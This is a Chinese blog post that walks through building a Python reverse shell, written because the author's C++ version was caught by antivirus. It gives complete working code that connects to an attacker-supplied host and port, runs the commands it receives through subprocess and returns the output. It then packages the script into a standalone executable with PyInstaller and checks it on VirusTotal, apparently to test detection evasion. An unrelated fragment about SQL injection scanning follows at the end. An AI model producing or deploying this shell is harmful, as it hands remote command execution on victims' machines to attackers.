前几天写了个c++反弹shell的工具,实在是无奈,c++被杀的太狠了,看一张图就明白了
忽然想起来,用python写效果可能会更好,说干就干。
知识储备
编写反弹shell,我们首先要明白简单的通信原理。
我们可以使用下面的方法轻易的实现一个能够通信的服务端、客户端
```python
import socket
phone = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
phone.bind(('127.0.0.1',2333))
phone.listen()
phone.accept()
python
import socket
phone = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
phone.connect(('127.0.0.1',2333))
```
除了这些之外,还有一些常用的函数用来实现通信:
```python
recv() #接受TCP数据
send() #发送TCP数据
recvfrom() #接受UDP数据
sendto() #发送UDP数据
getpeername() #接收到当前套接字远端的地址
getsockname() #返回指定套接字的参数
setsockopt() #设置指定套接字的参数
close() #关闭套接字
```
了解了通信模块之后,我们还需要一个subprocess子进程模块,因为我们的目的不是通信,而是将我们发送的命令进行执行,并返回给我们,而subprocess子进程模块就可以实现我们的需求。这个模块本身是为了代替一些老的模块而来的,所以使用起来很方便。
```python
import subprocess
Popen方法是用来执行系统命令的,直接把结果打印到终端了
res =subprocess.Popen(r'dir',shell=True,
#r'dsfsdfr',shell=True,
# stdin= #标准输入(不常用)
stdout=subprocess.PIPE,#stdout 标准输出
stderr=subprocess.PIPE) #stderr 标准错误
print(res.stdout.read().decode('gbk'))
```
这就是一个子进程执行命令的小demo。
代码编写
有了上面的知识储备,我们就可以来编写我们的代码了。思路如下:
使用程序链接我们的服务,然后接受我们发的数据,执行并把回显返回给我们。
具体代码如下:
```python
import socket
import subprocess
import sys
def reve_shell(host,port):
host = socket.gethostbyname(host)
shell = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shell.connect((host,port))
while True:
cmd = shell.recv(1024)
res = subprocess.Popen(cmd.decode('utf-8'),
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout = res.stdout.read()
stderr = res.stderr.read()
shell.send(stdout+stderr)
shell.close()
if name == 'main':
host = sys.argv[1]
port = int(sys.argv[2])
reve_shell(host=host,port=port)
```
注意,python的sys接受的参数是str类型,需要进行简单的转换。
然后,我们肯定不能就这样使用了,因为这样依赖python环境,实在不方便,我们使用Pyinstaller进行打包。
```language
pyinstaller -F myfile.py
```
得到了我们的目标文件。我们来看下效果:
windows下也一样哦。
vt走一波:
本文中的规则分析,大部分来自于以前被动漏扫研发的实践,其中如有纰漏或者差错,希望诸位给出修正意见。 SQL注入 对于SQLI注入,可以使用sqlmapapi进行检测。 优点在于,对于一些带回显和延时注入,企业内部检测没有waf拦截,会较为准确的定位。 缺点在于…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论